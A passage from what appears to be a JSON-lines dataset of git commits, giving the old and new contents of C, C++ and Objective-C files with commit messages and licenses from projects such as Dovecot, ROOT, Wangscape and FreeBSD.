16);\n\n    \/\/shift-right missing as only top() is returned currently\n\n    \/\/ comparisons\n    assert ((a < b) == 1);\n    assert ((a > b) == 0);\n    assert ((a == b) == 0);\n    assert ((a != b) == 1);\n\n    return 0;\n}","subject":"Add constant test for congruence domain","message":"Add constant test for congruence domain\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"077a4fb5a3055d6d681bdd885bc58a3b3c0830aa","old_file":"Classes\/Model\/VKVotable.h","new_file":"Classes\/Model\/VKVotable.h","old_contents":"\/\/\n\/\/  VKVotable.h\n\/\/  VoatKit\n\/\/\n\/\/  Created by Amar Ramachandran on 6\/26\/15.\n\/\/  Copyright © 2015 AmarJayR. All rights reserved.\n\/\/\n\n#import \"VKCreated.h\"\n\ntypedef NS_ENUM(NSUInteger, VKVoteStatus) {\n    VKVoteStatusUpvoted,\n    VKVoteStatusDownvoted,\n    VKVoteStatusNone\n};\n\n@interface VKVotable : VKCreated\n\n\/**\n The total number of upvotes.\n *\/\n@property (nonatomic, assign, readonly) NSNumber* upvotes;\n\n\/**\n The total number of downvotes.\n *\/\n@property (nonatomic, assign, readonly) NSNumber* downvotes;\n\n\/**\n The object's score.\n *\/\n@property (nonatomic, assign, readonly) NSNumber* score;\n\n\/**\n The current user's vote status for this object.\n *\/\n@property (nonatomic, assign, readonly) VKVoteStatus voteStatus;\n\n\/**\n Whether the current user has upvoted this object.\n *\/\n- (BOOL)upvoted;\n\n\/**\n Whether the current user has downvoted this object.\n *\/\n- (BOOL)downvoted;\n\n\/**\n Whether the current user has voted on this object.\n *\/\n- (BOOL)voted;\n\n@end\n","new_contents":"\/\/\n\/\/  VKVotable.h\n\/\/  VoatKit\n\/\/\n\/\/  Created by Amar Ramachandran on 6\/26\/15.\n\/\/  Copyright © 2015 AmarJayR. All rights reserved.\n\/\/\n\n#import \"VKCreated.h\"\n\ntypedef NS_ENUM(NSUInteger, VKVoteStatus) {\n    VKVoteStatusNone,\n    VKVoteStatusUpvoted,\n    VKVoteStatusDownvoted\n};\n\n@interface VKVotable : VKCreated\n\n\/**\n The total number of upvotes.\n *\/\n@property (nonatomic, assign, readonly) NSNumber* upvotes;\n\n\/**\n The total number of downvotes.\n *\/\n@property (nonatomic, assign, readonly) NSNumber* downvotes;\n\n\/**\n The object's score.\n *\/\n@property (nonatomic, assign, readonly) NSNumber* score;\n\n\/**\n The current user's vote status for this object.\n *\/\n@property (nonatomic, assign, readonly) VKVoteStatus voteStatus;\n\n\/**\n Whether the current user has upvoted this object.\n *\/\n- (BOOL)upvoted;\n\n\/**\n Whether the current user has downvoted this object.\n *\/\n- (BOOL)downvoted;\n\n\/**\n Whether the current user has voted on this object.\n *\/\n- (BOOL)voted;\n\n@end\n","subject":"Change the default VKVoteStatus value to VKVoteStatusNone This is necessary because unvoted items don't send a \"voteValue\" field so the voteStatusJSONTransformer is never called","message":"Change the default VKVoteStatus value to VKVoteStatusNone\nThis is necessary because unvoted items don't send a \"voteValue\" field so the voteStatusJSONTransformer is never called\n","lang":"C","license":"mit","repos":"nuudles\/VoatKit,AmarJayR\/VoatKit"}
{"commit":"1c996d94ec09d367d45c4a37ec1485ea7ff724f4","old_file":"src\/ingredientpropertylist.h","new_file":"src\/ingredientpropertylist.h","old_contents":"\/***************************************************************************\n *   Copyright (C) 2003 by Unai Garro                                      *\n *   ugarro@users.sourceforge.net                                                       *\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU General Public License as published by  *\n *   the Free Software Foundation; either version 2 of the License, or     *\n *   (at your option) any later version.                                   *\n ***************************************************************************\/\n#ifndef INGREDIENTPROPERTYLIST_H\n#define INGREDIENTPROPERTYLIST_H\n#include <qptrlist.h>\n#include \"ingredientproperty.h\"\n\n\/**\n@author Unai Garro\n*\/\n\nclass PropertyPtrList: public QPtrList <IngredientProperty>\n{\npublic:\nPropertyPtrList(){};\n~PropertyPtrList(){};\nprotected:\n virtual int compareItems( QPtrCollection::Item item1, QPtrCollection::Item item2){return (*((int*)item1)-*((int*)item2));};\n\n};\n\n\nclass IngredientPropertyList{\npublic:\n    IngredientPropertyList();\n\n    ~IngredientPropertyList();\n\n    IngredientProperty* getFirst(void);\n    IngredientProperty* getNext(void);\n    IngredientProperty* getElement(int index);\n    void clear(void);\n    bool isEmpty(void);\n    void add(IngredientProperty &element);\n    void append(IngredientProperty *property);\n    int find(IngredientProperty* it);\n    IngredientProperty* at(int pos);\n    private:\n    PropertyPtrList list;\n\n};\n\n#endif\n","new_contents":"\/***************************************************************************\n *   Copyright (C) 2003 by Unai Garro                                      *\n *   ugarro@users.sourceforge.net                                                       *\n *                                                                         *\n *   This program is free software; you can redistribute it and\/or modify  *\n *   it under the terms of the GNU General Public License as published by  *\n *   the Free Software Foundation; either version 2 of the License, or     *\n *   (at your option) any later version.                                   *\n ***************************************************************************\/\n#ifndef INGREDIENTPROPERTYLIST_H\n#define INGREDIENTPROPERTYLIST_H\n#include <qptrlist.h>\n#include \"ingredientproperty.h\"\n\n\/**\n@author Unai Garro\n*\/\n\nclass PropertyPtrList: public QPtrList <IngredientProperty>\n{\npublic:\nPropertyPtrList(){};\n~PropertyPtrList(){};\nprotected:\n virtual int compareItems( QPtrCollection::Item item1, QPtrCollection::Item item2){return (((IngredientProperty*)item1)->id-((IngredientProperty*)item2)->id);};\n\n};\n\n\nclass IngredientPropertyList{\npublic:\n    IngredientPropertyList();\n\n    ~IngredientPropertyList();\n\n    IngredientProperty* getFirst(void);\n    IngredientProperty* getNext(void);\n    IngredientProperty* getElement(int index);\n    void clear(void);\n    bool isEmpty(void);\n    void add(IngredientProperty &element);\n    void append(IngredientProperty *property);\n    int find(IngredientProperty* it);\n    IngredientProperty* at(int pos);\n    private:\n    PropertyPtrList list;\n\n};\n\n#endif\n","subject":"Fix comparison between properties (compare the ID)","message":"Fix comparison between properties (compare the ID)\n\nsvn path=\/trunk\/kdeextragear-3\/krecipes\/; revision=237720\n","lang":"C","license":"lgpl-2.1","repos":"eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes,eliovir\/krecipes"}
{"commit":"72d08adcc89f72f2243c063b4ec3f7202574807f","old_file":"3RVX\/Controllers\/Volume\/VolumeTransformation.h","new_file":"3RVX\/Controllers\/Volume\/VolumeTransformation.h","old_contents":"#pragma once\n\nclass VolumeTransformation {\npublic:\n    virtual float Transform(float vol) = 0;\n};","new_contents":"#pragma once\n\nclass VolumeTransformation {\npublic:\n    \/\/\/ <summary>\n    \/\/\/ Transforms a given volume level to a new (\"virtual\") level based on a\n    \/\/\/ formula or set of rules (e.g., a volume curve transformation).\n    \/\/\/ <\/summary>\n    virtual float ToVirtual(float vol) = 0;\n\n    \/\/\/ <summary>\n    \/\/\/ Given a transformed (\"virtual\") volume value, this function reverts it \n    \/\/\/ back to its original value (assuming the given value was produced\n    \/\/\/ by the ToVirtual() function).\n    \/\/\/ <\/summary>\n    virtual float FromVirtual(float vol) = 0;\n};","subject":"Split transform methods into to\/from","message":"Split transform methods into to\/from\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"2954136a1da999c3a5b6662e96368c073643509b","old_file":"libraries\/FreeIMU\/calibration.h","new_file":"libraries\/FreeIMU\/calibration.h","old_contents":"\n\/**\n * FreeIMU calibration header. Automatically generated by octave AccMagnCalib.m.\n * Do not edit manually unless you know what you are doing.\n*\/\n\n\/* \/\/ following example of calibration.h \n#define CALIBRATION_H\n\nconst int acc_off_x = 205;\nconst int acc_off_y = -39;\nconst int acc_off_z = 1063;\nconst float acc_scale_x = 7948.565970;\nconst float acc_scale_y = 8305.469320;\nconst float acc_scale_z = 8486.650841;\n\nconst int magn_off_x = 67;\nconst int magn_off_y = -59;\nconst int magn_off_z = 26;\nconst float magn_scale_x = 527.652115;\nconst float magn_scale_y = 569.016790;\nconst float magn_scale_z = 514.710857;\n*\/\n","new_contents":"\n\/**\n * FreeIMU calibration header. Automatically generated by FreeIMU_GUI.\n * Do not edit manually unless you know what you are doing.\n*\/\n\n\n#define CALIBRATION_H\n\nconst int acc_off_x = 163;\nconst int acc_off_y = 119;\nconst int acc_off_z = -622;\nconst float acc_scale_x = 16387.035965;\nconst float acc_scale_y = 16493.176991;\nconst float acc_scale_z = 16517.294625;\n\nconst int magn_off_x = 26;\nconst int magn_off_y = -128;\nconst int magn_off_z = 43;\nconst float magn_scale_x = 528.171092;\nconst float magn_scale_y = 485.462478;\nconst float magn_scale_z = 486.973938;\n","subject":"Update for Arduino Due and refresh of files to make sure they are the latest","message":"Update for Arduino Due and refresh of files to make sure they are the latest\n","lang":"C","license":"mit","repos":"tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,tokk250\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,mjs513\/FreeIMU-Updates,bmweller\/FreeIMU-Updates,tokk250\/FreeIMU-Updates"}
{"commit":"a39bade0af5ec329970865cd016175441c0d4a8e","old_file":"src\/imap\/cmd-create.c","new_file":"src\/imap\/cmd-create.c","old_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(Client *client)\n{\n\tconst char *mailbox;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\n\tif (!client_verify_mailbox_name(client, mailbox, FALSE, TRUE))\n\t\treturn TRUE;\n\n\tif (mailbox[strlen(mailbox)-1] == client->storage->hierarchy_sep) {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create a mailbox under\n\t\t   this name. we don't need that information. *\/\n\t} else if (!client->storage->create_mailbox(client->storage, mailbox)) {\n\t\tclient_send_storage_error(client);\n\t\treturn TRUE;\n\t}\n\n\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","new_contents":"\/* Copyright (C) 2002 Timo Sirainen *\/\n\n#include \"common.h\"\n#include \"commands.h\"\n\nint cmd_create(Client *client)\n{\n\tconst char *mailbox;\n\tint ignore;\n\n\t\/* <mailbox> *\/\n\tif (!client_read_string_args(client, 1, &mailbox))\n\t\treturn FALSE;\n\n\tignore = mailbox[strlen(mailbox)-1] == client->storage->hierarchy_sep;\n\tif (ignore) {\n\t\t\/* name ends with hierarchy separator - client is just\n\t\t   informing us that it wants to create a mailbox under\n\t\t   this name. we don't need that information, but verify\n\t\t   that the mailbox name is valid *\/\n\t\tmailbox = t_strndup(mailbox, strlen(mailbox)-1);\n\t}\n\n\tif (!client_verify_mailbox_name(client, mailbox, FALSE, !ignore))\n\t\treturn TRUE;\n\n\tif (!ignore &&\n\t    !client->storage->create_mailbox(client->storage, mailbox)) {\n\t\tclient_send_storage_error(client);\n\t\treturn TRUE;\n\t}\n\n\tclient_send_tagline(client, \"OK Create completed.\");\n\treturn TRUE;\n}\n","subject":"CREATE mailbox<hierarchy separator> failed always.","message":"CREATE mailbox<hierarchy separator> failed always.\n","lang":"C","license":"mit","repos":"Distrotech\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,LTD-Beget\/dovecot,Distrotech\/dovecot,damoxc\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,damoxc\/dovecot,damoxc\/dovecot,Distrotech\/dovecot,Distrotech\/dovecot,LTD-Beget\/dovecot"}
{"commit":"c9daf5425f148933b02ddd56d9301505e6dc901b","old_file":"Wangscape\/codecs\/TileCodec.h","new_file":"Wangscape\/codecs\/TileCodec.h","old_contents":"","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include \"Tile.h\"\n\nusing namespace spotify::json::codec;\n\nnamespace spotify\n{\nnamespace json\n{\n\ntemplate<>\nstruct default_codec_t<Tile>\n{\n    static object_t<Tile> codec()\n    {\n        auto codec = object<Tile>();\n        codec.required(\"corners\", &Tile::corners);\n        codec.required(\"filename\", &Tile::filename);\n        codec.required(\"x\", &Tile::x);\n        codec.required(\"y\", &Tile::y);\n        return codec;\n    }\n};\n\n}\n}\n","subject":"Add a codec for Tile struct","message":"Add a codec for Tile struct\n","lang":"C","license":"mit","repos":"serin-delaunay\/Wangscape,Wangscape\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape"}
{"commit":"9e61dcaafe0e4d33b2ed9fc1023cbffefccfbb18","old_file":"plat_include\/exynos4\/platsupport\/plat\/irq_combiner.h","new_file":"plat_include\/exynos4\/platsupport\/plat\/irq_combiner.h","old_contents":"","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef _PLATSUPPORT_PLAT_IRQ_COMBINER_H_\n#define _PLATSUPPORT_PLAT_IRQ_COMBINER_H_\n\nenum irq_combiner_id {\n    IRQ_COMBINER0,\n    NIRQ_COMBINERS\n};\n\n\n#define EXYNOS4_IRQ_COMBINER_PADDR 0x10440000\n#define EXYNOS4_IRQ_COMBINER_SIZE  0x1000\n\n#define EXYNOS_IRQ_COMBINER_PADDR EXYNOS4_IRQ_COMBINER_PADDR\n#define EXYNOS_IRQ_COMBINER_SIZE  EXYNOS4_IRQ_COMBINER_SIZE\n\n#endif \/* _PLATSUPPORT_PLAT_IRQ_COMBINER_H_ *\/\n","subject":"Add missing plat header for IRQ combiner","message":"Exynos4: Add missing plat header for IRQ combiner\n","lang":"C","license":"bsd-2-clause","repos":"seL4\/libplatsupport,agacek\/util_libs,agacek\/libplatsupport,agacek\/util_libs,agacek\/util_libs,winksaville\/libplatsupport,agacek\/libplatsupport,agacek\/util_libs,seL4\/libplatsupport,winksaville\/libplatsupport"}
{"commit":"388d4312a910f9dc1af9c2ae95b0811a9ec07dd9","old_file":"src\/xenpong\/xenpong.h","new_file":"src\/xenpong\/xenpong.h","old_contents":"#if !defined(_XENIFACE_H_)\n#define _XENIFACE_H_\n\n#include <ntddk.h>\n\n#pragma warning(disable:4100 4057)\n\ntypedef struct _DEVICE_EXTENSION {\n    PDEVICE_OBJECT DeviceObject;\n    PDEVICE_OBJECT LowerDeviceObject;\n    PDEVICE_OBJECT Pdo;\n    UNICODE_STRING ifname;\n    IO_REMOVE_LOCK RemoveLock;\n} DEVICE_EXTENSION, *PDEVICE_EXTENSION;\n\nDRIVER_INITIALIZE DriverEntry;\nDRIVER_UNLOAD DriverUnload;\nDRIVER_ADD_DEVICE AddDevice;\n\n_Dispatch_type_(IRP_MJ_PNP)\nDRIVER_DISPATCH DispatchPnp;\n\n#endif  \/\/ _XENIFACE_H_\n","new_contents":"#if !defined(_XENIFACE_H_)\n#define _XENIFACE_H_\n\n#include <ntddk.h>\n\n#pragma warning(disable:4100 4057)\n\ntypedef struct _DEVICE_EXTENSION {\n    PDEVICE_OBJECT DeviceObject;\n    PDEVICE_OBJECT LowerDeviceObject;\n    PDEVICE_OBJECT Pdo;\n    UNICODE_STRING ifname;\n    IO_REMOVE_LOCK RemoveLock;\n} DEVICE_EXTENSION, *PDEVICE_EXTENSION;\n\nDRIVER_INITIALIZE DriverEntry;\nDRIVER_UNLOAD DriverUnload;\nDRIVER_ADD_DEVICE AddDevice;\n\n_Dispatch_type_(IRP_MJ_PNP)\nDRIVER_DISPATCH DispatchPnp;\n\nNTSTATUS\nStartDevice(\n    __in PDEVICE_OBJECT DeviceObject,\n    __in PIRP Irp\n    );\n\nNTSTATUS\nStopDevice(\n    __in PDEVICE_OBJECT DeviceObject,\n    __in PIRP Irp\n    );\n\n#endif  \/\/ _XENIFACE_H_\n","subject":"Add declarations for StartDevice and StopDevice","message":"Add declarations for StartDevice and StopDevice\n","lang":"C","license":"bsd-2-clause","repos":"perf101\/xenpong,perf101\/xenpong,perf101\/xenpong,perf101\/xenpong"}
{"commit":"69c3f107e2c8a2eef56249a87c8e192d8f6abe5c","old_file":"sys\/sparc64\/include\/ieeefp.h","new_file":"sys\/sparc64\/include\/ieeefp.h","old_contents":"\/*\n * Written by J.T. Conklin, Apr 6, 1995\n * Public domain.\n * $FreeBSD$\n *\/\n\n#ifndef _MACHINE_IEEEFP_H_\n#define _MACHINE_IEEEFP_H_\n\ntypedef int fp_except_t;\n#define FP_X_IMP\t0x01\t\/* imprecise (loss of precision) *\/\n#define FP_X_DZ\t\t0x02\t\/* divide-by-zero exception *\/\n#define FP_X_UFL\t0x04\t\/* underflow exception *\/\n#define FP_X_OFL\t0x08\t\/* overflow exception *\/\n#define FP_X_INV\t0x10\t\/* invalid operation exception *\/\n\ntypedef enum {\n\tFP_RN=0,\t\t\/* round to nearest representable number *\/\n\tFP_RZ=1,\t\t\/* round to zero (truncate) *\/\n\tFP_RP=2,\t\t\/* round toward positive infinity *\/\n\tFP_RM=3\t\t\t\/* round toward negative infinity *\/\n} fp_rnd_t;\n\n#endif \/* _MACHINE_IEEEFP_H_ *\/\n","new_contents":"\/*\n * Written by J.T. Conklin, Apr 6, 1995\n * Public domain.\n * $FreeBSD$\n *\/\n\n#ifndef _MACHINE_IEEEFP_H_\n#define _MACHINE_IEEEFP_H_\n\n#include <machine\/fsr.h>\n\ntypedef int fp_except_t;\n#define FP_X_IMP\tFSR_NX\t\/* imprecise (loss of precision) *\/\n#define FP_X_DZ\t\tFSR_DZ\t\/* divide-by-zero exception *\/\n#define FP_X_UFL\tFSR_UF\t\/* underflow exception *\/\n#define FP_X_OFL\tFSR_OF\t\/* overflow exception *\/\n#define FP_X_INV\tFSR_NV\t\/* invalid operation exception *\/\n\ntypedef enum {\n\tFP_RN = FSR_RD_N,\t\/* round to nearest representable number *\/\n\tFP_RZ = FSR_RD_Z,\t\/* round to zero (truncate) *\/\n\tFP_RP = FSR_RD_PINF,\t\/* round toward positive infinity *\/\n\tFP_RM = FSR_RD_NINF\t\/* round toward negative infinity *\/\n} fp_rnd_t;\n\n#endif \/* _MACHINE_IEEEFP_H_ *\/\n","subject":"Use the definitions in machine\/fsr.h instead of duplicating these magic numbers here (the values need to correspond to the %fsr ones for some libc functions to work right).","message":"Use the definitions in machine\/fsr.h instead of duplicating these magic\nnumbers here (the values need to correspond to the %fsr ones for some\nlibc functions to work right).\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"219a72a578ac9ddfed1a96d5395940cc1a1d1514","old_file":"Wangscape\/codecs\/RectCodec.h","new_file":"Wangscape\/codecs\/RectCodec.h","old_contents":"","new_contents":"#pragma once\n\n#include <spotify\/json.hpp>\n\n#include <SFML\/Graphics\/Rect.hpp>\n\nnamespace spotify\n{\nnamespace json\n{\n\n\/\/ See Vector2Codec.h for issues with making this generic.\ntemplate<>\nstruct default_codec_t<sf::Rect<double>>\n{\n    typedef std::pair<double, double> DoublePair;\n    typedef std::pair<DoublePair, DoublePair> DoublePairPair;\n    static auto codec()\n    {\n        auto codec = codec::transform(\n            codec::pair(codec::pair(codec::number<double>(), codec::number<double>()),\n                        codec::pair(codec::number<double>(), codec::number<double>())),\n            [](sf::Rect<double> v)\n        {return DoublePairPair{{v.left, v.top}, {v.width, v.height}}; },\n            [](DoublePairPair p)\n        {return sf::Rect<double>(p.first.first, p.first.second, p.second.first, p.second.second); }\n        );\n        return codec;\n    }\n};\n\n}\n}\n","subject":"Add spotify-json codec for sf::Rect<double>","message":"Add spotify-json codec for sf::Rect<double>\n\nNot templated for the same reason as the sf::Vector2u codec.\n","lang":"C","license":"mit","repos":"Wangscape\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape"}
{"commit":"cbca462157dde6080fb77b611fbb8877834d07be","old_file":"Source\/Tests\/Collection\/FakeWithoutCount.h","new_file":"Source\/Tests\/Collection\/FakeWithoutCount.h","old_contents":"\/\/  OCHamcrest by Jon Reid, https:\/\/qualitycoding.org\/\n\/\/  Copyright 2018 hamcrest.org. See LICENSE.txt\n\n@import Foundation;\n\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface FakeWithoutCount : NSObject\n\n+ (id)fake;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/\/  OCHamcrest by Jon Reid, https:\/\/qualitycoding.org\/\n\/\/  Copyright 2018 hamcrest.org. See LICENSE.txt\n\n@import Foundation;\n\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface FakeWithoutCount : NSObject\n\n+ (instancetype)fake;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Test only: Correct id to instancetype","message":"Test only: Correct id to instancetype\n","lang":"C","license":"bsd-2-clause","repos":"hamcrest\/OCHamcrest,hamcrest\/OCHamcrest,hamcrest\/OCHamcrest"}
{"commit":"e8f4eed954eaa0c5020d61250b8222c41511f413","old_file":"test\/CodeGen\/pr9614.c","new_file":"test\/CodeGen\/pr9614.c","old_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\nextern int foo_alias (void) __asm (\"foo\");\ninline int foo (void) {\n  return foo_alias ();\n}\nint f(void) {\n  return foo();\n}\n\n\/\/ CHECK-NOT: define\n\/\/ CHECK: define i32 @f()\n\/\/ CHECK: %call = call i32 @foo()\n\/\/ CHECK: ret i32 %call\n\/\/ CHECK-NOT: define\n","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm %s -o - | FileCheck %s\n\nextern int foo_alias (void) __asm (\"foo\");\ninline int foo (void) {\n  return foo_alias ();\n}\nint f(void) {\n  return foo();\n}\n\n\/\/ CHECK-NOT: define\n\/\/ CHECK: define i32 @f()\n\/\/ CHECK: call i32 @foo()\n\/\/ CHECK-NEXT: ret i32\n\/\/ CHECK-NOT: define\n","subject":"Fix this tests on the bots.","message":"Fix this tests on the bots.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@143052 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"9710c394fb7c54d91aa9929f9530a9fa78cab8de","old_file":"tree\/treeplayer\/inc\/TFriendProxy.h","new_file":"tree\/treeplayer\/inc\/TFriendProxy.h","old_contents":"\/\/ @(#)root\/treeplayer:$Id$\n\/\/ Author: Philippe Canal 01\/06\/2004\n\n\/*************************************************************************\n * Copyright (C) 1995-2004, Rene Brun and Fons Rademakers and al.        *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TFriendProxy\n#define ROOT_TFriendProxy\n\n#include \"TBranchProxyDirector.h\"\n\nclass TTree;\n\nnamespace ROOT {\nnamespace Internal {\n\n   class TFriendProxy {\n   protected:\n      TBranchProxyDirector fDirector; \/\/ contain pointer to TTree and entry to be read\n      Int_t  fIndex; \/\/ Index of this tree in the list of friends\n\n   public:\n      TFriendProxy();\n      TFriendProxy(TBranchProxyDirector *director, TTree *main, Int_t index);\n\n      Long64_t GetReadEntry() const;\n      void     ResetReadEntry();\n      void     Update(TTree *newmain);\n   };\n\n} \/\/ namespace Internal\n} \/\/ namespace ROOT\n\n#endif\n","new_contents":"\/\/ @(#)root\/treeplayer:$Id$\n\/\/ Author: Philippe Canal 01\/06\/2004\n\n\/*************************************************************************\n * Copyright (C) 1995-2004, Rene Brun and Fons Rademakers and al.        *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TFriendProxy\n#define ROOT_TFriendProxy\n\n#include \"TBranchProxyDirector.h\"\n\nclass TTree;\n\nnamespace ROOT {\nnamespace Internal {\n\n   class TFriendProxy {\n   protected:\n      TBranchProxyDirector fDirector; \/\/ contain pointer to TTree and entry to be read\n      Int_t  fIndex; \/\/ Index of this tree in the list of friends\n\n   public:\n      TFriendProxy();\n      TFriendProxy(TBranchProxyDirector *director, TTree *main, Int_t index);\n\n      TBranchProxyDirector *GetDirector() { return &fDirector; }\n\n      Long64_t GetReadEntry() const;\n      void     ResetReadEntry();\n      void     Update(TTree *newmain);\n   };\n\n} \/\/ namespace Internal\n} \/\/ namespace ROOT\n\n#endif\n","subject":"Add accessor to Director of a FriendProxy","message":"Add accessor to Director of a FriendProxy\n","lang":"C","license":"lgpl-2.1","repos":"root-mirror\/root,olifre\/root,olifre\/root,olifre\/root,root-mirror\/root,karies\/root,olifre\/root,root-mirror\/root,olifre\/root,karies\/root,karies\/root,karies\/root,olifre\/root,root-mirror\/root,olifre\/root,karies\/root,root-mirror\/root,karies\/root,olifre\/root,karies\/root,karies\/root,root-mirror\/root,root-mirror\/root,olifre\/root,root-mirror\/root,olifre\/root,karies\/root,root-mirror\/root,karies\/root,karies\/root,root-mirror\/root,olifre\/root,root-mirror\/root"}
{"commit":"ddf88fda672bf43c057eca80334d04be837ad336","old_file":"src\/commands.c","new_file":"src\/commands.c","old_contents":"#include \"commands.h\"\n\n#include <stdio.h>\n#include <string.h>\n\n#include \"util.h\"\n\nstatic void print_commands_help() {\n  puts(\"  Commands available:\\n\");\n  puts(\"    :quit   \\tExit laco\");\n  puts(\"    :help   \\tDisplay this list of commands\");\n}\n\nvoid handle_command(struct LacoState* laco, char* line) {\n  if(laco != NULL && line != NULL) {\n    const char* command = line + 1;\n\n    if(strcmp(command, \"quit\") == 0) {\n      laco_kill(laco, 0, \"Exiting laco...\");\n    } else if(strcmp(command, \"help\") == 0)  {\n      print_commands_help();\n    }\n\n    \/* Make it seem like this was an empty line *\/\n    line[0] = '\\0';\n  }\n}\n","new_contents":"#include \"commands.h\"\n\n#include <stdbool.h>\n#include <stdio.h>\n\n#include \"util.h\"\n\nstatic const char* quit_matches[] = {\"quit\"};\nstatic const char* help_matches[] = {\"help\"};\n\nstatic void print_commands_help() {\n  puts(\"  Commands available:\\n\");\n  puts(\"    :quit   \\tExit laco\");\n  puts(\"    :help   \\tDisplay this list of commands\");\n}\n\nstatic inline bool is_quit(const char* command) {\n  return laco_is_match(quit_matches, command);\n}\n\nstatic inline bool is_help(const char* command) {\n  return laco_is_match(help_matches, command);\n}\n\nvoid handle_command(struct LacoState* laco, char* line) {\n  if(laco != NULL && line != NULL) {\n    const char* command = line + 1;\n\n    if(is_quit(command)) {\n      laco_kill(laco, 0, \"Exiting laco...\");\n    } else if(is_help(command))  {\n      print_commands_help();\n    }\n\n    \/* Make it seem like this was an empty line *\/\n    line[0] = '\\0';\n  }\n}\n","subject":"Use laco_is_match for command handling","message":"Use laco_is_match for command handling\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"431357bc5ced7c1ffd6616f681c195ce45c61462","old_file":"scriptobject.h","new_file":"scriptobject.h","old_contents":"#ifndef INCLUDED_SCRIPT_OBJECT_H_\n#define INCLUDED_SCRIPT_OBJECT_H_\n\n#include \"browser.h\"\n#include \"npapi-headers\/npruntime.h\"\n\nclass EmacsInstance;\n\nclass ScriptObject : public NPObject {\npublic:\n    static ScriptObject* create(NPP npp);\n\n    void invalidate();\n    bool hasMethod(NPIdentifier name);\n    bool invoke(NPIdentifier name,\n\t\tconst NPVariant *args,\n\t\tuint32_t argCount,\n\t\tNPVariant *result);\n    bool enumerate(NPIdentifier **identifiers, uint32_t *identifierCount);\n\n    static NPObject* allocateThunk(NPP npp, NPClass *aClass);\n    static void deallocateThunk(NPObject *npobj);\n    static void invalidateThunk(NPObject *npobj);\n    static bool hasMethodThunk(NPObject *npobj, NPIdentifier name);\n    static bool invokeThunk(NPObject *npobj, NPIdentifier name,\n\t\t\t    const NPVariant *args, uint32_t argCount,\n\t\t\t    NPVariant *result);\n    static bool enumerateThunk(NPObject *npobj, NPIdentifier **identifiers,\n\t\t\t       uint32_t *identifierCount);\n\nprivate:\n    ScriptObject(NPP npp);\n    ~ScriptObject();\n\n    EmacsInstance* emacsInstance();\n    \n    NPP npp_;\n};\n\n#endif  \/\/ INCLUDED_SCRIPT_OBJECT_H_\n","new_contents":"#ifndef INCLUDED_SCRIPT_OBJECT_H_\n#define INCLUDED_SCRIPT_OBJECT_H_\n\n#include \"browser.h\"\n#include \"npapi-headers\/npruntime.h\"\n#include \"util.h\"\n\nclass EmacsInstance;\n\nclass ScriptObject : public NPObject 